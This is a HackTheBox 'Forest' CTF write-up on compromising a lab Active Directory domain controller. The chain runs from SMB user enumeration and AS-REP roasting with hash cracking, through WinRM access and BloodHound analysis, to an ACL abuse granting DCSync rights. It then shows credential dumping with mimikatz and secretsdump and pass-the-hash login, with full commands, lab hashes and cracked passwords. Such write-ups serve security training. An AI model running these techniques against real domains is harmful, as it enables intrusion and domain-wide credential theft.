HackTheBox - Forest

11 minute read

Forest was a fun 20 point box created by egre55 and mrb3n. It started out with enumerating users from SMB for use in a Kerberos AS-REP Roasting attack, you then crack the resulting hash and login via WinRM to get user. You then have to Invoke-BloodHound and abuse the privileges our user has to get root.

User.txt

Nmap


We start the box with a quick TCP nmap scan:

# nmap -sC -sV -T5 10.10.10.161
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-26 10:50 EDT
Stats: 0:03:50 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 97.73% done; ETC: 10:54 (0:00:02 remaining)
Nmap scan report for 10.10.10.161
Host is up (0.035s latency).
Not shown: 989 closed ports
PORT     STATE SERVICE      VERSION
53/tcp   open  domain?
| fingerprint-strings: 
|   DNSVersionBindReqTCP: 
|     version
|_    bind
88/tcp   open  kerberos-sec Microsoft Windows Kerberos (server time: 2020-03-26 14:57:41Z)
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=3/26%Time=5E7CC14C%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2h26m54s, deviation: 4h02m30s, median: 6m53s
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: FOREST
|   NetBIOS computer name: FOREST\x00
|   Domain name: htb.local
|   Forest name: htb.local
|   FQDN: FOREST.htb.local
|_  System time: 2020-03-26T07:59:59-07:00
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2020-03-26T15:00:01
|_  start_date: 2020-03-26T04:58:14


SMB


Checking out SMB you can use nullinux to enumerate users present on the box:

# nullinux -users 10.10.10.161

    Starting nullinux v5.4.1 | 03-26-2020 10:53

[*] Enumerating Domain Information for: 10.10.10.161
[+] Domain Name: HTB
[+] Domain SID: S-1-5-21-3072663084-364016917-1341370565

[*] Enumerating querydispinfo for: 10.10.10.161
    $331000-VK4ADACQNUCA
    Administrator
    andy
    DefaultAccount
    Guest
    HealthMailbox0659cc1
    HealthMailbox670628e
    HealthMailbox6ded678
    HealthMailbox7108a4e
    HealthMailbox83d6781
    HealthMailbox968e74d
    HealthMailboxb01ac64
    HealthMailboxc0a90c9
    HealthMailboxc3d7722
    HealthMailboxfc9daad
    HealthMailboxfd87238
    krbtgt
    lucinda
    mark
    santi
    sebastien
    SM_1b41c9286325456bb
    SM_1ffab36a2f5f479cb
    SM_2c8eef0a09b545acb
    SM_681f53d4942840e18
    SM_75a538d3025e4db9a
    SM_7c96b981967141ebb
    SM_9b69f1b9d2cc45549
    SM_c75ee099d0a64c91b
    SM_ca8c2ed5bdab4dc9b
    svc-alfresco

I then saved the users into a file for use in the following attack.


Kerberos


With the usernames gathered from SMB you can perform an AS-REP Roasting attack.

# python GetNPUsers.py HTB/ -usersfile /root/users.txt -format hashcat -outputfile hashes.asreproast -dc-ip 10.10.10.161
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

[-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User santi doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User sebastien doesn't have UF_DONT_REQUIRE_PREAUTH set

# cat hashes.asreproast
$krb5asrep$23$svc-alfresco@HTB:86ae66993159f5d3f23b292efb2e77c5$f504048263771e8f17b0213651d987b41aeb4401d0c5716abbcb
6a0d5ae904eed7cbf6937321c42e74cbfecd86bc84c5bea89b81af541eb7bcdfbf8dad0b23b269203039f68363b1bf2b00356f2ef12c88f94836
834adc43b39ac91246df3350073f36b361e1b65902e4fe275964a3711eedc369d7be21185d80324c50b7999456962f628d2da11c302bc6b3f86d
5c73146e326e7a3eaf33d993bef091a7f6c1f0158bacc135bcf91f48452c4609b810cfc6631a0e5d1513f72d06092573e66d466b6ae62ef5528b
df8c3d11128ac1914f3714d89c1980923966e17abeae6a8f 


Hashcat


The svc-alfresco hash can be cracked easily with hashcat:

# hashcat -a 0 -m 18200 hashes.asreproast /root/rockyou.txt

$krb5asrep$23$svc-alfresco@HTB:86ae66993159f5d3f23b292efb2e77c5$f504048263771e8f17b0213651d987b41aeb4401d0c5716abbcb
6a0d5ae904eed7cbf6937321c42e74cbfecd86bc84c5bea89b81af541eb7bcdfbf8dad0b23b269203039f68363b1bf2b00356f2ef12c88f94836
834adc43b39ac91246df3350073f36b361e1b65902e4fe275964a3711eedc369d7be21185d80324c50b7999456962f628d2da11c302bc6b3f86d
5c73146e326e7a3eaf33d993bef091a7f6c1f0158bacc135bcf91f48452c4609b810cfc6631a0e5d1513f72d06092573e66d466b6ae62ef5528b
df8c3d11128ac1914f3714d89c1980923966e17abeae6a8f:s3rvice 

The credentials are svc-alfresco / s3rvice.


evil-winrm


You can use evil-winrm to login with the credentials:

# evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> whoami
htb\svc-alfresco


Flag


With a shell as svc-alfresco you can simply type the user flag:

*Evil-WinRM* PS C:\users\svc-alfresco\desktop> type user.txt
e5e4e4...


Root.txt

BloodHound


After some basic manual enumeration I decided to use BloodHound.

BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory environment. Attacks can use BloodHound to easily identify highly complex attack paths that would otherwise be impossible to quickly identify. Defenders can use BloodHound to identify and eliminate those same attack paths. Both blue and red teams can use BloodHound to easily gain a deeper understanding of privilege relationships in an Active Directory environment.

You need to upload the SharpHound.ps1 ingestor first:

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> upload /home/kali/PrivEsc/Windows/SharpHound.ps1 .
Info: Uploading /home/kali/PrivEsc/Windows/SharpHound.ps1 to C:\Users\svc-alfresco\Documents\.
                                
Data: 1297080 bytes of 1297080 bytes copied

Info: Upload successful!

With that in place you can then import and run the module:

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> Import-Module .\SharpHound.ps1
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> Invoke-Bloodhound -CollectionMethod All

Next you’ll want to download the .zip file that’s produced:

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> dir


    Directory: C:\Users\svc-alfresco\Documents


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        3/26/2020   2:41 AM          15442 20200326024111_BloodHound.zip
-a----        3/26/2020   2:41 AM          23611 MzZhZTZmYjktOTM4NS00NDQ3LTk3OGItMmEyYTVjZjNiYTYw.bin
-a----        3/26/2020   2:36 AM         972811 SharpHound.ps1

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> download 20200326024111_BloodHound.zip /home/kali/Desktop/forest.zip 
Info: Downloading C:\Users\svc-alfresco\Documents\20200326024111_BloodHound.zip to /home/kali/Desktop/forest.zip 
                                   
Info: Download successful!

With that downloaded you’ll want to make sure you have neo4j and bloodhound set up, the following article guides you through the whole process.


BloodHound Analysis


With bloodhound up and running you can simply drop the .zip the SharpHound.ps1 ingestor spat out earlier into the bloodhound interface. You should receive a FINISHED PROCESSING ALL FILES message once it’s done.

The pathways tab in the top left corner allows you to find the shortest path between two nodes, in this instance the path from svc-alfresco to adminstrator is shown:


You’ll see that svc-alfresco is a member of Service Accounts, Service Accounts is a member of Privileged IT Accounts, and IT Privileged Accounts is a member of Account Operators:


The important parts here being that Account Operators has GenericAll privileges on the Exchange Windows Permissions group. Even more importantly Exchange Windows Permissions has WriteDACLon the HTB.LOCAL domain.

The following excerpts from adsecurity sums up the two permissions:

GenericAll: GenericAll = Full Control; The right to create or delete children, delete a subtree, read and write properties, examine children and the object itself, add and remove the object from the directory, and read or write with an extended right.

WriteDACL: Provides the ability to modify security on an object which can lead to Full Control of the object. The right to modify the DACL in the object security descriptor. Example: A service account may be granted this right to perform delegation in AD. If an attacker can guess this password (or potentially crack it by Kerberoasting), they now set their own permissions on associated objects which can lead to Full Control of an object which may involve exposure of a LAPS controlled local Administrator password.


Granting Permissions


The following command will add svc-alfresco to the Exchange Windows Permissions group:

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> Add-ADGroupMember -Identity "Exchange Windows Permissions" -Members svc-alfresco 

You can then check that the changes were made:

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> Get-ADPrincipalGroupMembership -Identity svc-alfresco                                                                                                 
                                        
distinguishedName : CN=Domain Users,CN=Users,DC=htb,DC=local 
GroupCategory     : Security         
GroupScope        : Global           
name              : Domain Users       
objectClass       : group                   
objectGUID        : 7cd3af35-c652-400f-9fd9-345bf4b3fc7a     
SamAccountName    : Domain Users     
SID               : S-1-5-21-3072663084-364016917-1341370565-513 
                                                           
distinguishedName : CN=Exchange Windows Permissions,OU=Microsoft Exchange Security Groups,DC=htb,DC=local          
GroupCategory     : Security                    
GroupScope        : Universal                                   
name              : Exchange Windows Permissions    *
objectClass       : group                       
objectGUID        : 64f0cc0d-8e1d-4506-98be-26c67dc5bed3       
SamAccountName    : Exchange Windows Permissions                     
SID               : S-1-5-21-3072663084-364016917-1341370565-1121  
                                                                 
distinguishedName : CN=Service Accounts,OU=Security Groups,DC=htb,DC=local                
GroupCategory     : Security            
GroupScope        : Global                             
name              : Service Accounts      
objectClass       : group                                                
objectGUID        : 8b287cd5-8692-484c-bbe7-03ab3764d060                       
SamAccountName    : Service Accounts                      
SID               : S-1-5-21-3072663084-364016917-1341370565-1148   

We essentially have now given svc-alfresco WriteDACL permissions on the HTB.LOCAL domain. What now?


DCSync


The following article by fox-it covers some interesting topics in regards to escalating privileges with ACLs in AD.

Our WriteDACL permissions over the HTB.LOCAL domain allow us to the DCSync attack, this effectively “impersonates” the Domain Controller and requests account password data from the targeted Domain Controller.

The DCSync attack can be carried in a few different ways, you can use Mimikatz, secretsdump.py, or aclpwn.


Mimikatz


First you need to upgrade the evil-winrm shell to a meterpreter session as the Mimikatz executable acts strangely in the evil-winrm shell. This can be done with nps_payload, I’ve covered this technique before, it can be found here.

First you’ll need to upload and import PowerView.ps1

PS C:\Users\svc-alfresco\Documents> Import-Module .\PowerView.ps1
Import-Module .\PowerView.ps1

You then need to add svc-alfresco into the Exchange Windows Permissions group:

PS C:\Users\svc-alfresco\Documents> Add-ADGroupMember -Identity "Exchange Windows Permissions" -Members svc-alfresco

Next you’ll need to create a PSCredential for svc-alfresco like so:

$Username = 'htb\svc-alfresco';
$Password = 's3rvice'; 
$pass = ConvertTo-SecureString -AsPlainText $Password -Force;
$Cred = New-Object System.Management.Automation.PSCredential -ArgumentList $Username,$pass;

Finally, you execute the PowerView command Add-DomainObjectAcl that grants svc-alfresco DCSync permissions:

Add-DomainObjectAcl -Credential $Cred -PrincipalIdentity 'svc-alfresco' -TargetIdentity 'HTB.LOCAL\Domain Admins' -Rights DCSync 

This is easier to execute as one line:

PS C:\Users\svc-alfresco\Documents> Add-ADGroupMember -Identity "Exchange Windows Permissions" -Members svc-alfresco;$Username = 'htb\svc-alfresco';$Password = 's3rvice'; $pass = ConvertTo-SecureString -AsPlainText $Password -Force;$Cred = New-Object System.Management.Automation.PSCredential -ArgumentList $Username,$pass;Add-DomainObjectAcl -Credential $Cred -PrincipalIdentity 'svc-alfresco' -TargetIdentity 'HTB.LOCAL\Domain Admins' -Rights DCSync 

Once the command completes you can run mimikatz.exe and execute lsadump::dcsync /domain:htb.local /user:Administrator to dump the admin hash:

PS C:\Users\svc-alfresco\Documents> .\mimikatz.exe
.\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #18362 Mar  8 2020 13:32:41
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # lsadump::dcsync /domain:htb.local /user:Administrator
[DC] 'htb.local' will be the domain
[DC] 'FOREST.htb.local' will be the DC server
[DC] 'Administrator' will be the user account

Object RDN           : Administrator

** SAM ACCOUNT **

SAM Username         : Administrator
User Principal Name  : Administrator@htb.local
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000200 ( NORMAL_ACCOUNT )
Account expiration   : 
Password last change : 9/18/2019 10:09:08 AM
Object Security ID   : S-1-5-21-3072663084-364016917-1341370565-500
Object Relative ID   : 500

Credentials:
  Hash NTLM: 32693b11e6aa90eb43d32c72a07ceea6

With the hash dumped successfully you can then login using wmiexec.py

# python wmiexec.py -hashes :32693b11e6aa90eb43d32c72a07ceea6 administrator@10.10.10.161
Impacket v0.9.21.dev1+20200313.160519.0056b61c - Copyright 2020 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
htb\administrator


Secretsdump.py


This process is almost identical to the Mimikatz one except you don’t require a meterpreter session. First you run the PowerShell one-liner:

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> Add-ADGroupMember -Identity "Exchange Windows Permissions" -Members svc-alfresco;$Username = 'htb\svc-alfresco';$Password = 's3rvice'; $pass = ConvertTo-SecureString -AsPlainText $Password -Force;$Cred = New-Object System.Management.Automation.PSCredential -ArgumentList $Username,$pass;Add-DomainObjectAcl -Credential $Cred -PrincipalIdentity 'svc-alfresco' -TargetIdentity 'HTB.LOCAL\Domain Admins' -Rights DCSync 

Then run secretsdump.py and you’ll get the credentials dumped from the DC:

# python secretsdump.py svc-alfresco:s3rvice@10.10.10.161 -just-dc
Impacket v0.9.21.dev1+20200313.160519.0056b61c - Copyright 2020 SecureAuth Corporation

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\$331000-VK4ADACQNUCA:1123:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

You can then login with the administrator hash using another Impacket script - wmiexec.py:

# python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 administrator@10.10.10.161
Impacket v0.9.21.dev1+20200313.160519.0056b61c - Copyright 2020 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
htb\administrator


nltmrelayx.py


This method was tempermental and I’m not sure if it was the intended route. This method failed me when typing up this writeup but I’ll include the commands that actually worked when doing the box for the first time. The method is based on the following article.

First you need to add svc-alfresco to the Exchange Windows Permissions group:

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> Add-ADGroupMember -Identity "Exchange Windows Permissions" -Members svc-alfresco 

You then need to run the ntlmrelayx.py script from Impacket:

# python ntlmrelayx.py -t ldap://htb.local --escalate-user svc-alfresco

Go to http://localhost/privexchange and login with svc-alfresco / s3rvice. With that done you can run secretsdump.py and you should receive the creds:

# python secretsdump.py svc-alfresco:s3rvice@10.10.10.161 -just-dc


acl-pwn


acl-pwn is mentioned in the fox-it article I referenced earlier. It’s available for install via pip:

# pip install acl-pwn

You need neo4j and bloodhound running with the .zip file from earlier, you can then execute the following:

# aclpwn -f svc-alfresco -t htb.local --domain htb.local --server 10.10.10.161 -du neo4j -dp <your password>
Please supply the password or LM:NTLM hashes of the account you are escalating from: s3rvice
[!] Unsupported operation: GetChanges on HTB.LOCAL (Domain,Base)
[-] Invalid path, skipping
[!] Unsupported operation: GenericAll on EXCH01.HTB.LOCAL (Base,Computer)
[-] Invalid path, skipping
[+] Path found!
Path [0]: (SVC-ALFRESCO@HTB.LOCAL)-[MemberOf]->(SERVICE ACCOUNTS@HTB.LOCAL)-[MemberOf]->(PRIVILEGED IT ACCOUNTS@HTB.LOCAL)-[MemberOf]->(ACCOUNT OPERATORS@HTB.LOCAL)-[GenericAll]->(EXCHANGE TRUSTED SUBSYSTEM@HTB.LOCAL)-[MemberOf]->(EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL)-[WriteDacl]->(HTB.LOCAL)
[+] Path found!
Path [1]: (SVC-ALFRESCO@HTB.LOCAL)-[MemberOf]->(SERVICE ACCOUNTS@HTB.LOCAL)-[MemberOf]->(PRIVILEGED IT ACCOUNTS@HTB.LOCAL)-[MemberOf]->(ACCOUNT OPERATORS@HTB.LOCAL)-[GenericAll]->(EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL)-[WriteDacl]->(HTB.LOCAL)
Please choose a path [0-1] 1
[-] Memberof -> continue
[-] Memberof -> continue
[-] Memberof -> continue
[-] Adding user SVC-ALFRESCO to group EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL
[+] Added CN=svc-alfresco,OU=Service Accounts,DC=htb,DC=local as member to CN=Exchange Windows Permissions,OU=Microsoft Exchange Security Groups,DC=htb,DC=local
[-] Re-binding to LDAP to refresh group memberships of SVC-ALFRESCO@HTB.LOCAL
[+] Re-bind successful
[-] Modifying domain DACL to give DCSync rights to SVC-ALFRESCO
[+] Dacl modification successful
[+] Finished running tasks
[+] Saved restore state to aclpwn-20200326-065432.restore

This automatically grants us Exchange Windows Permissions and modifies the domain DACL (via our WriteDACL privs) to give DCSync rights to svc-alfresco.

You then just have to run secretsdump.py and you’ll get the creds:

# python secretsdump.py svc-alfresco:s3rvice@10.10.10.161 
                                         
Impacket v0.9.21.dev1+20200313.160519.0056b61c - Copyright 2020 SecureAuth Corporation  
                    
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied            
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)                                     
[*] Using the DRSUAPI method to get NTDS.DIT secrets                          
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::     
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::                          
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::                      
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::                 
htb.local\$331000-VK4ADACQNUCA:1123:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

You can then login with the administrator hash using another Impacket script - wmiexec.py:

# python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 administrator@10.10.10.161
Impacket v0.9.21.dev1+20200313.160519.0056b61c - Copyright 2020 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
htb\administrator


Flag


With a shell as administrator using any of the techniques shown, you can simply type the root flag:

C:\users\Administrator\desktop>type root.txt
f04815...